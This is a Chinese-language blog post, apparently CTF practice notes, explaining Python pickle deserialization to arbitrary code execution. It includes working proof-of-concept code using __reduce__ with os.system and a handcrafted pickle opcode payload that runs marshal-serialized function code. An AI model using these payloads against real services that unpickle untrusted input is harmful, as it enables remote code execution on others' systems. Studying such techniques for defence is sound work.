这几天本地搭了BSidesTLV 2018的赛题环境练习,学到了一个python代码安全的姿势,在这里记录一下。
pickle/cPickle我们都知道(cPickle和pickle用法一样不做区别),它是python序列化存储对象的一个工具,就像php反序列化存在漏洞,python序列化对象被反序列化后也很有可能执行其中的恶意代码,导致任意代码执行。这意味着如果一个程序反序列化不经验证来源的序列化数据,我么就能利用它执行任意代码。
__reduce__魔法函数
要反序列化执行代码少不了像php一样的魔法函数,pickle允许任意一个对象去定义一个__reduce__方法来声明怎么去序列化这个对象。这个方法返回一个字符串或者元组来描述当反序列化的时候该如何重构。
这样的话,那么我们写一个类,再把恶意代码写到__reduce__的返回中就行了嘛,就像下面这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import cPickle import os import urllib class genpoc(object): def __reduce__(self): s = """ls /""" #要执行的命令 return os.system, (s,) #os.system("echo test >poc.txt") e = genpoc() poc = cPickle.dumps(e) print poc print urllib.quote(poc) fp = open("poc.pickle","w") fp.write(poc) # 生成 pickle文件 |
这时候我们在用下面的验证代码验证一下
1 2 3 |
import pickle pickle.load(open('./poc.pickle')) |
我们可以看到下面,已经执行了我们想要的代码
执行更多的代码
我们可以看到,像上面那样构造的话,我们只能执行一些简单的系统函数。如果想要执行自己写的代码的话,我们可以用到一个可以序列化代码的模块Marshal,这时,我们将我们要执行的代码写入一个函数中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import marshal import base64 import cPickle import urllib def foo(): import os def fib(n): if n <= 1: return n return fib(n-1) + fib(n-2) print 'fib(10) =', fib(10) code_serialized = base64.b64encode(marshal.dumps(foo.func_code)) print code_serialized |
好,现在上面的经过Marshal序列化的内容,pickle可以将它序列化了(对,为了序列化代码,我们序列化了两次)。那么我们希望在pickle反序列化它后能执行如下
1 |
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ”))() |
再经过Marshal反序列化等操作,就能执行上面的我们自己写的代码了。为了使得pickle反序列化过程中能进行如上的一系列操作(先base64解密在Marshal反序列化,最后执行),我们得了解一点pickle序列化的结果。在这里我们简要理解一下,这篇文章和这篇文章讲的更清楚一些。
简而言之,对于简单的系统函数和对象,pickle会以某种格式存储,而我们上面构造的code_serialized只要作为一个特定位置的参数输入就行,比如下面这个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
import marshal import base64 import cPickle import urllib def foo(): import os def fib(n): if n <= 1: return n return fib(n-1) + fib(n-2) print 'fib(10) =', fib(10) code_serialized = base64.b64encode(marshal.dumps(foo.func_code)) print code_serialized payload = """ctypes FunctionType (cmarshal loads (cbase64 b64decode (S'%s' tRtRc__builtin__ globals (tRS'' tR(tR.""" % code_serialized print "------------------------------------------------" print payload fp =open("poc.pickle","w") fp.write(payload) |
在这里感谢bit4’s的代码。我们将code_serialized作为参数输入构造好的pickle数据中写入文件,尝试一下
可以看到,代码执行了。
Reference
http://code2sec.com/python-picklede-ren-yi-dai-ma-zhi-xing-lou-dong-shi-jian-he-payloadgou-zao.html
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#2-PVM-%E7%9A%84%E7%BB%84%E6%88%90
https://xz.aliyun.com/t/2289
https://github.com/bit4woo/python_sec